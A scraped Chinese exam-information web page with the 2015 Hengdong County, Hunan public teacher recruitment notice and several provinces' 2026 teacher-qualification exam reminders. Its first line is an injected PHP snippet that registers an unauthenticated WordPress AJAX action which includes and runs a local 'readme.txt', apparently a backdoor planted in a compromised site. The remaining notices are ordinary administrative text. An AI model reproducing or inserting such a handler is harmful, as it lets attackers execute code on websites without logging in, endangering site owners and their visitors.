if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
湖南省衡东县2015年公开招聘教师公告-全国教师资格考试网

湖南省衡东县2015年公开招聘教师公告

    为提高我县中小学的教学质量,吸收优秀人才,根据我县教育发展及教师缺编的实际情况,经县委、县政府批准,决定面向社会公开招聘126名教师。现将有关事项公告如下: 
一、招聘计划、岗位、对象及报考条件
       (一)招聘计划和岗位。2015年计划招聘126名教师。其中面向社会公开招聘高中和职专教师17名,初中教师45名(其中篮球教练1名),小学教师44名,幼儿教师20名。具体招聘单位、岗位及计划见附件2至附件5。
(二)招聘对象及报考条件(见附件1)。
(三)有下列情形之一的人员,不得报考:
   1.受过刑事处罚,劳动教养的;
2.组织或参与非法组织的;
3.接受普通全日制高等教育期间受到过警告以上纪律处分的或留级处理的;
4.在道德方面存在严重错误的;
5.违反计划生育政策,有违法多生育行为,根据《湖南省人口与计划生育条例》有关规定不能录用的;
6.正在接受审查尚未结案的;
7.有法律法规和省级以上政策规定不能录用为国家工作人员情形的;
8.本县机关事业单位在编人员的;
9.有其他不宜担任教师职务情形的。
二、招聘程序 
(一)发布信息
在衡阳市人力资源和社会保障网(www.hy12333.gov.cn)、衡东党政门户网(www.hengdong.gov.cn)和衡东教育信息网上(www.hdjyw.cn)发布招聘公告。
(二)报名
1.报名时间:2015年8月5日至2015年8月9日。上午8:00至12:00,下午3:00至6:00。
2.报名形式:现场分类报名。分县直高中、职专和县直初中类,乡镇初中类,乡镇小学类,幼儿园类分别报名。
3.报名地点:衡东县教育局202室、207室、208室、209室。
4.报名要求
    ①报考者须填写《2015年衡东县公开招聘教师报名登记表》(附件6)和《2015年衡东县公开招聘教师计划生育情况审核表》
(附件7),提供国家承认的学历证书、有效身份证、户口簿及相关资格证书原件及复印件,学历证和教师资格证还需提供网上查询证明。
②提供2寸近期免冠同底照片2张。
③每人只能报考一个招聘类别中的一个科目。不收取报名费。
④如实填写报名信息。严格按照专业要求报名,提供的报考材料必须真实有效,个人信息与报考专业要求不符或弄虚作假的,取消考试和聘用资格。
咨询电话:0734-5229748,0734-5235040,0734-5235065,0734-5235047。
 (三)资格审查
 资格审查贯穿公开招聘工作全过程。包括报名时初审、考核前资格复审和聘用前资格终审。提供虚假报考申请材料的,一经查实,即取消考试和聘用资格;对伪造、变造有关证件、材料和信息,骗取考试资格的,将参照《公务员录用考试违规违纪行为处理办法(试行)》的有关规定予以处理。招聘计划与报名人数之比须达到1∶3方可开考,达不到的,将核减此科目的招考计划,由招聘教师领导小组调剂到本次招聘报名人数较多的其他科目,并且在笔试前进行公告。
 (四)笔试
湖南省衡东县2015年公开招聘教师公告

考试时间:2015年8月17日。考试地点:衡东一中。

自笔试成绩公布之日起两天内,需要查卷的考生可到公开招聘领导小组办公室办理有关查卷手续,逾期不再接受查卷,查卷按高考查卷规定办理。查分结果若有偏差,严格按实事求是的原则予以纠正,并及时向社会公示接受监督。
(五)面试
幼儿教师岗位和职业中专电子、会计、审计(建筑工程)、工程管理和财务管理岗位依笔试成绩按1:2的比例确定面试对象。幼儿教师面试形式为才艺展示,包括唱歌、跳舞、书法、绘画、演讲和乐器演奏等内容(至少展示其中两项),满分为100分。职业中专电子、会计、审计(建筑工程)、工程管理和财务管理岗位的面试采取结构化面试形式,内容包括仪表气质表现、语言表达能力和综合分析能力等内容,满分为100分。
幼儿教师岗位个人成绩按笔试成绩占60%和面试成绩占40%的比例合成;职业中专电子、会计、审计(建筑工程)、工程管理和财务管理岗位的个人成绩按笔试成绩占70%和面试成绩占30%的比例合成。
(六)预录
职业中专电子、会计、审计(建筑工程)、工程管理和财务管理岗位按招聘计划1:1的比例预录。如个人成绩(笔试成绩和面试成绩按比例合成)相同的,笔试成绩高者优先,并可在面试对象中实行按个人成绩高低依次递补。
篮球教练岗位根据个人成绩(笔试成绩和技能测试成绩按比例合成)高低,按招聘计划1:1的比例预录。如个人成绩相同的,技能测试成绩高者优先,并可实行按个人成绩高低依次递补。
高中、初中和小学教师岗位分别按招聘计划1:1.2的比例,每个科目按个人笔试成绩划定一条最低控制分数线,每个科目至少保持1名差额,然后组织最低控制分数线内的所有考生,当场按个人考试成绩从高分到低分依次公开选投学校志愿,按招聘计划1:1的比例预录。预录时,如最后一名预录对象有并列名次,则相应增加预录计划;如有不愿参加或者不愿选投学校又不服从调剂的考生,视为自动放弃预录资格;在最低控制分数线内,如果招聘科目计划未录满,空下的名额不再补录。
幼儿教师岗位按招聘计划1:1.2的比例,按个人成绩(笔试成绩和面试成绩按比例合成)划定一条最低控制分数线,然后当场按个人成绩高低依次公开选投幼儿园志愿,按招聘计划1:1的比例预录。如个人成绩相同的,则笔试成绩高者优先,并可在最低控制分数线内按个人成绩高低依次递补。
(七)体检
预录对象进行体检,体检不合格经复检仍不合格者,将按公务员录用体检的有关规定予以淘汰,自动放弃或体检合格人数达不到计划聘用人数时,职业中专电子、会计、审计(建筑工程)、工程管理和财务管理岗位则从面试对象中按个人成绩高低依次递补,递补仅为一次;篮球教练岗位按个人成绩高低依次递补,递补仅为一次;中小学教师岗位则从最低控制分数线内同岗位报考人员中按个人考试成绩从高分到低分依次递补,递补仅为一次;幼儿教师岗位则从最低控制分数线内按个人成绩高低依次递补,递补仅为一次。体检工作依照《公务员录用体检通用标准(试行)》实施,体检费用自理。
(八)考核
体检合格人员即为考核对象。主要考核考生在校学习、工作、待业时的表现及专业技能,进一步审查不符合报考条件和不予报名情形的。职业中专电子、会计、审计(建筑工程)、工程管理和财务管理岗位若有自动放弃或考核不合格者,则从面试对象中按个人成绩高低依次递补,递补仅为一次;篮球教练岗位若有自动放弃或有考核不合格者,则按个人成绩高低依次递补,递补仅为一次;中小学教师岗位若有自动放弃或考核不合格者,则从同岗位报考人员中最低控制分数线内按个人考试成绩从高分到低分按程序依次递补,递补仅为一次;幼儿教师岗位若有自动放弃或考核不合格者,则从最低控制分数线内按个人成绩高低依次递补,递补仅为一次。
(九)公示
    考核合格人员即为拟录人员,向社会公示。报名、资格审查、笔试、面试、预录、体检和考核等各个阶段的工作完成后,结果及时在衡东县党政门户网和教育信息网上进行公示,接受考生和社会各界的监督,若有不符合报名条件和不予报名情形的,经举报核实,不予录取。
 (十)入编聘用
公示无异议的人员,经县公开招聘教师领导小组审核后,即确定为录用人员,报市委组织部、市人力资源和社会保障局核准备案后,县公开招考(招聘)行政事业单位工作人员领导小组办公室下发正式录用通知,由县编办、县人力资源和社会保障局、县财政局、县教育局办理有关正式入编、聘用和工资统发等相关手续,聘用人员原则上五年内不得调动,对不愿服从组织安排和不按时到岗上班的不予录用。
三、严肃招考纪律
为了确保全县教师招聘工作的顺利进行,贯彻“公开、公平、公正”的原则,县纠风部门进行重点监督,并在教师招聘工作中明确以下纪律规定:
(一)明确职责,紧密配合,确保各个环节的工作顺利进行。
(二)严格把好报名、资格审查、笔试、面试、预录、体检和考核等关口。
(三)所有工作人员要严格遵守廉洁自律有关规定,严格遵守招聘工作纪律。违反有关规定的,将严格依法依纪进行查处。
四、监督电话
衡东县纠风办                 0734-5230801
衡东县委组织部干部二组       0734-5236281
衡东县编办检查监督股         0734-5188516
衡东县人社局事业单位管理股   0734-2860855
衡东县教育局政工股           0734-5229748
衡东县教育局纪检监察室       0734-5235062
 
本方案由衡东县公开招聘教师领导小组负责解释。
附件1:2015年衡东县公开招聘教师招聘对象及报考条件
附件2:2015年衡东县公开招聘高中和职专教师计划表
附件3:2015年衡东县公开招聘初中教师计划表
附件4:2015年衡东县公开招聘小学教师计划表
附件5:2015年衡东县公开招聘幼儿教师计划表
附件6:2015年衡东县公开招聘教师报名登记表
附件7:2015年衡东县公开招聘教师计划生育情况审核表
附件下载
  
衡东县公开招聘教师领导小组
   2015年7月27日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部